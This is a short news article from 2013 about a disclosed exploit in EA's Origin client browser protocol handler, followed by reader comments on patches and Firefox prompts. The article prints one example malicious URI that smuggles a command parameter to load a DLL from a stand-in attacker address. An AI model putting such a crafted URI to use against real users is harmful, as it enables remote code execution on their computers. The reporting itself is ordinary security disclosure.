Origin browser exploit demonstrated, possibility of malicious software execution

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By on March 19, 2013 at 1:30 pm

Origin users are being warned that an exploit exists which could allow programs to use Origin to execute malicious code on your computer. The exploit, which works in much the same manner as a similar one spotted in Steam in October, would allow a hacker to use a web browser to force-open Origin and make it run unwanted code.

The exploit would change the command from normal syntax, such as origin://LaunchGame/[GameID], to something closer to origin://LaunchGame/[GameID]?CommandParams= -openautomate ATTACKER_IPevil.dll.

Security firm ReVuln, who also discovered the Steam exploit, have released a paper on the hack, as well as a video demonstration.

EA have sent a comment to Ars Technica to say “Our team is constantly investigating hypotheticals like this one as we continually update our security infrastructure.”

Source: Ars Technica

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I wonder if its related to the Patching that origin just did now


Yeah I noticed a patch this morning too. Checked the changelog and nothing relating to this showed up in the latest release.


So… only thing I can see in Firefox under applications is ‘origin’ content type, which is already set to ‘always ask’. Pretty sure I’ve never touched the setting for it, so by default Firefox isn’t really vulnerable to this? Unless you click ‘yes’ to a completely uncalled for origin launch, of course.

edit – yeah, pasting any kind of origin:// command into the url bar results in a prompt… false alarm



Only if you use Firefox (maybe others) and only if you are one of the people that doesn’t click ‘Always do this’. You’d be surprised at the amount of people that click the ‘Always Open, don’t ask again’ buttons.


Is this new DLC from EA…..??? I luv EA

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